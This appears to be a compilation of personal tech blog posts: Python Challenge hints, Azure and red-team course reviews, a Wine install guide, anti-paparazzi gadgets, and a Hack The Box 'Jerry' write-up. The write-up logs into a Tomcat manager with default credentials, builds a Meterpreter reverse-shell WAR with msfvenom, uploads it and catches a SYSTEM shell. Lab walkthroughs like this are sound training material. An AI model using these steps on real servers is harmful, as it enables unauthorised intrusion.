Hints and Tips for PythonChallenge level 5

This is a page of hints for the Pythonchallenge.com level 5 challenge

It does not contain the answer so you can use as many hints as you want but still have to put everything together yourself to complete it

Note: A lot of these challenges have multiple different ways of solving them, the hints here might not match to what you have found already.

Expand for hint 1

Browse the source code for files you can download

Expand for hint 2

Say the challenge name out loud, does it sound like any python libraries?

Expand for hint 3

Think of small preserved cucumbers

Expand for hint 4

The 2nd part involves organising the test

Expand for hint 5

The organised text should spell out a word

Review of Udemy course –AZ-300 Azure Architecture Technologies Certification Exam

Overview

I recently passed the AZ-300 and wanted to review some of the material I used to pass it in case anyone else is thinking of taking it and wants some advice on how to prepare.

This AZ-300 course from Scott Duffy is aimed at people wishing to take the Azure technologies exam from Microsoft, the exam itself covers a lot of high level concepts within the Azure system and aims to certify that you understand a wide variety of concepts within Azure at an architect level.

The syllabus is very broad and covers topics from networking, scaling up and out automatically, Security, Migration, Web apps and anything else you’d  expect a consultant to be able to advise on if you were planning on moving to Azure.

scanning-test-1243141.jpg

Pros

  • The course consists of lots of videos split into neat sections covering the entire AZ-300 syllabus
  • The videos are high quality, clearly explaining what Scott is talking about
  • The audio quality is very high
  • Scott has clearly been using Azure for years and you get the impression he is talking about a lot of the topics from experience and not just documentation.

Cons

  • This course is nowhere near enough by itself to pass the AZ-300, the exam is very in depth and asks some awkward questions which this course does not prepare you for
  • The video course is only 10.5 hours, I suspect most people will be putting in 50+ hours of prep in order to pass the exam
  • There is a lack of practical lesson which would help put the course topics into practise.

Verdict

Nobody is going to be passing the exam using just this study guide by itself. As you will need to buy other materials I can’t justify recommending this video series. Instead you should take a look and find a larger and more in depth course which provides lessons/labs to go alongside the theory. It is too easy to halfheartedly nod along to these video lessons without any of the knowledge sinking in.

The course content itself is well made, there just isn’t enough of it to make it worth while. The scenarios that would justify getting this course would be if you already have bought and used a larger 30-40 hour course and want to go over the topics again from a different perspective or if you are not interested in sitting the exam but just want to see what Azure has to offer as an alternative to AWS or on premise solutions.

Buy a larger course first, then some practise labs, then one or two sets of practise exam questions, and if you still need something extra to study after that then this course is the right thing to get.

How to install Wine and Python 2.7

Wine is a tool (not an emulator) for running Windows based programs on other non-Windows based operating systems such as Linux. These are the steps to get it installed on Kali Linux with Python 2.7

First add the i386 architecture to your system in case you don’t already have it, the command won’t do anything if you have it already. Skip this first step if that is the case.

Wine-Python-1

Next run apt-get update:

apt-get update

To update your repositories for Linux. This will make sure you get the latest version of Wine.

Wine-Python-2

Install the Wine package using apt-get install wine32. This could take a few minutes depending on your internet connection and you will be asked to confirm the install near the start.

apt-get install wine32

Wine-Python-3

Once installed you should see wine in the /root/.wine folder with a Windows C:/ structure inside it:

Wine-Python-4

The next stage is to download and install Python into your Wine install. Visit the Python download page at:

https://www.python.org/downloads/release/python-2714/

Wine-Python-5

and download the Windows x86 MSI Installer. The file is only 19MB in size so should come down very quickly.

Wine-Python-6

Wine-Python-7

Now navigate to your downloads folder in the terminal and install it using wine msiexec /i python-2.7.14.msi

wine msiexec /i python-2.7.14.msi

Wine-Python-8

The install wizard should appear and unless you have some specific requirements for the install you can just hit next, next, next, finish through the windows.

Wine-Python-9

Wine-Python-10Wine-Python-11

Once the install is complete you can confirm it’s there by navigating to the new Python folder within the Wine directory:

Wine-Python-12

 

 

Anti-Paparazzi technology part 2

The last post about Anti-Paparazzi clothing sent me down a rabbit hole finding out about other recent inventions designed to stop cameras. Here’s a brief summary of what other options exist if you cant get hold of a nifty reflective scarf:

Flash back handbag

anti-paparazzi

A student named Adam Harvey invented a handbag add-on which detects a camera flash and in return flashes right back at it before the photo is taken. The result is a ruined photograph. I believe the downside is that this device is only quick enough to thwart slower shutter speeds which is good enough in you are in a dark area or out at night but won’t have much of an effect at sporting events where photographers will typically be using quicker shutter speed settings. The device is also not in commercial production but the inventor still deserves some respect for trying to beat a flash at it’s own game.

The inventors website

Write up at Wired.com

Write up at techcrunch.com

Anti photography paint

An article in the express claims that any photographs taken of Angelina Jolie giving birth are fakes because the hospital she was at coated the windows with anti-photography paint. I’m a bit dubious about this claim as the article gives no further details about how it works and google comes up short when trying to find other examples of this technology being used elsewhere.

I think this might be a bit case of the journalist taking some creative liberties and the windows of the hospital room were either coated with the same stuff as one way mirrors (suggesting the inside was kept darker than normal) or the windows simply had the same privacy filters applied that you can get for your office computer to prevent shoulder surfing:

51psD1PqePL._SL1200_.jpg

Privacy screen from 3M

Dubious article from the Express

Lasers!!!

dance-for-laser-1439327.jpg

A decade ago there were reports of technology on Roman Abramovich’s new super boat which utilised lasers to scan in all directions and detect the CCD (Charged couple device) of a digital camera and blind it. The CCD is the part of the camera which detects light before coding the information into pixels. The lasers are able to detect these and send an extra bright beam directly at the CCD, blinding it without affecting anything else.

this technology was first developed as a way to try to stop pirates recording movies in the cinema. There is a lot of speculation (including from the devices inventor) as to how effective it is when taken outside of a small dark cinema room and stuck to the side of a giant yacht in the ocean in broad daylight.

Wired.com – Romans big yacht

techradar – review of the technology

Anti face recognition

There is some interesting work going into stopping facial recognition technology doing its thing. This won’t stop a paparazzi taking a direct photo of you but it might hinder any automated CCTV or video recording software which activates and focuses based on what it detects as a human face.

at CV Dazzle there is a group of make up artists designing styles which stop common facial recognition technology from being able to detect a face. It works by disguising common features which some face recognition technology relies on such as the colouring of eyes, the nose bridge or the edges of the mouth.

anti face recognition make up

The same guy mentioned previously (Adam Harvey) who works on CV Dazzle and the flash-back camera also has a project called “Hyperface” which designs patterns which instead of being detected as a non-face gets detected as hundreds of individual faces, hopefully confusing the facial recognition software and hiding your real face.

Looking at the sample designs it seems strange at how little is needed for software to detect a “face”. a very simple design of pixels which can just about pass as eyes, nose and a mouth seems to be all it takes:

facial recognition baffle

 

CV Dazzle – make up camouflage

Hyperface

 

Anti-Paparazzi clothing

This is probably a problem which doesn’t affect too many readers but if you want to avoid having your photo taken on a night out either by a professional photographer or a snap-happy friend with an iPhone there is a company named “Beta Brand” who makes anti-paparazzi clothing which makes photos look like this:betabrand-photobomber

The clothing itself contains lots of tiny glass spheres which act as a super reflective material which bounce back as much of the light from a flash as possible and tricking a camera into thinking the scene is a lot lighter than it really is. A lot of today’s modern cameras will auto adjust the picture settings and make everything seem darker to adjust for the mass of light it see’s coming in.

Its main downsides are that it doesn’t work if the camera isn’t using a flash or if the photographer is manually adjusting all the settings. The clothes aren’t too overpriced and look cool themselves so it’s likely that wearing them might end up attracting more attention from fans who snap a photo, check that it looks weird and suddenly get more curious as to what is going on.

You can read more about it here:

PetaPixel – Watch flashback anti-paparazzi clothing ruin flash photographs

Digitalrev – How anti paparazzi clothing works

Bored Panda – Anti paparazzi clothing chris holmes

Hack the Box Jerry

Hack The Box – Jerry – Writeup

Jerry is a retired box from HTB so can only be done if you have a premium VIP account.

It shows the risks of leaving default credentials for installed services. The solution I’ve got here is fairly standard and I’ve kept in a little of extra in terms of thought processes which didn’t go anywhere instead of just writing out how to get the flags yourself.


First step is to run an Nmap scan of the target and note that it only comes back with one port, running Apache Tomcat version 7.0.88 and Coyote JSP Engine 1.1

1

As it looks like a web server, we can visit the site and confirm it looks like a base install of Apache Tomcat version 7.0.88

2

Only thing to notice from this generic Tomcat page is a file path name. This is worth noting in case we are trying to navigate around the file system at a later point in time.

3

Normally this might be the time to start running a tool like dirb or dirbuster to try and find what else is available on this server however some nice links are given to us in the top right as “Server Status” “Manager App” and “Host manager”. All 3 present us with a login box if we try to access them.

4

As this looks like a default install of Tomcat lets check to see if the default credentials have been changed. A quick Google search reveals a Github page with about 20 default passwords listed for tomcat installs. If there were more than 20 we Could use Hydra to automate trying them however as the passwords were short and simple enough you can work through them manually very quickly.

5

Doing this with the Server status module yields success for the login admin:admin

There isn’t much to see on this page, the only thing which stands out is an out of date java version which isn’t directly vulnerable now but worth noting for later if we get stuck.

6

Trying to log into the other modules now gives a HTTP 403 authorisation error instead of the password prompt from before. This is because the site is still trying to login with the admin:admin credential from earlier and while it registers as a valid set of credentials the admin account doesn’t have authorisation to access the other modules. There is no logout option on the site so you need to clear your browser history to reset.

7

A different set of  default credentials from Github is successful and we can get into the Manager app using tomcat:s3cret

There is plenty of interesting info on this page but the obvious place to start looking is the upload feature. Any functionality which gives us the ability to put our own files onto a remote server and execute them is a good candidate for further investigation.

8

If we can get a file onto the server which executes a reverse shell and connects back to us we can use that as a foothold to get further into the system. Lets use msfvenom to help create this reverse shell in a .war format as it is most likely going to be accepted by the uploader. We know the server is sending out http traffic so as a first choice we should look at using the http reverse shell. Any protocol not blocked by the firewall is likely to work for this.

9

We need to edit the options in the Meterpreter shell with the details of our local machine IP and port and give it a name of dodgyfile.war

msfvenom -p windows/x64/meterpreter_reverse_http LHOST=10.10.14.6 LPORT=4567 -f war -o dodgyfile.war

10

The .war file is going to have a .jsp file inside with a randomised name. This is in an effort to try to disguise it from virus scanners. It’s worth making a note of the name in case we need to manually visit it later. You can view the contents of the war file using any zip tool.

10.1

Now that we have the payload we should setup our machine to start listening in case the reverse shell gets activated as soon as we complete the upload.

Setup Metasploit as the listener by opening it up and using the exploit/multi/handler and giving it a few parameters

11

set the local host to your network interface (Look it up using ifconfig if needed). Set the port to whatever was set in the payload previously.

13

12

Start the listener using exploit -j  (-j puts the process into the background as soon as it starts)

14

Back on the target website lets try and upload our dodgy file. Fingers crossed there aren’t any extra security checks which might flag up the file. (unlikely, but we won’t know util we try)

15

Looks like it has uploaded fine, checking the Metasploit listener it hasn’t auto-ran so we need to find out how to get it started manually.

16

After a bit of clicking about and trying the features on the app manager page it looks like you can manually navigate to the .jsp we noted earlier to get it to execute.

17

As our listener was in the background waiting it caught the incoming connection and we can interact with it using:

sessions -i 1

18

To make things easier to navigate use the shell command and you can start enumeration and browsing for the required flags.

19

Slightly disappointing that there is no privilege escalation required for this box as you start your shell as the system account by default and can go straight into the administration account. The only small challenge left is to remember how to use quotes to see the contents of a text file with spaces in its name. Both flags are in the same text file.

20

 

Review of Udemy course – The RedTeam blueprint a unique guide to ethical hacking

Overview

RedTeam Nation - Brandon Dennis - Certificate of completion
RedTeam Nation – Brandon Dennis – Certificate of completion

The Redteam blue print is a video course created by Brandon Dennis which aims to take anyone with no previous security knowledge and give them a good starting point from which to pursue a career in cyber security.

The course covers all the topics you would expect as well as a multitude of others such as the typical structure of red and blue teams, advice for applying for jobs and tips for passing the interviews.

Most courses I’ve seen in the past briefly advise learners to find a programming language they are comfortable with and take a separate course to improve their knowledge however Brandons course includes 2:30 of Python tutorials and 1:40 in Assembly. While This is only enough to cover the topics briefly it is more than enough to get someone started with either language.

2

Brandon himself has completed the OSCP and is studying for the OSCE. it feels like his choice of topics and how deep he goes into each topic is aimed at someone who eventually wants to commit and study for the OSCP. The course would also be useful for someone looking at the Comptia Security+ or the EC-Council CEH.

Pros

  • Far more in depth than other courses I’ve seen which claim to go to beginner –> hacker
  • Plenty of demonstrations showing the concepts discussed.
  • The course covers far more than just the technical aspect of cyber security.
  • Lots of extra resources provided with the lectures such as templates or links for further reading:
    Extra resources attached to lectures
    Extra resources attached to lectures
  • All the standard stages of a red team assignment are covered: reconnaissance, enumeration, exploit, pivoting, privilege escalation, persistence, covering tracks.
  • The teachers voice is clear and easy to understand.

Cons

  • The screen capture was recorded at a high resolution and is sometimes only visible if you have a good steady internet connection which auto connects at 1080p, for some reason you cannot manually set it to anything higher than 720p which means if you are on a weak connection you cannot see what is happening on screen:High resolution - hard to see console
  • The module regarding job hunting and salary is very specific to the USA. This isn’t Brandons fault and I wouldn’t expect him to tailor-make videos for every country but is worth noting if you are somewhere where the IT job market is very different from America.

Verdict

Very indepth course and value for money if you buy it during a Udemy sale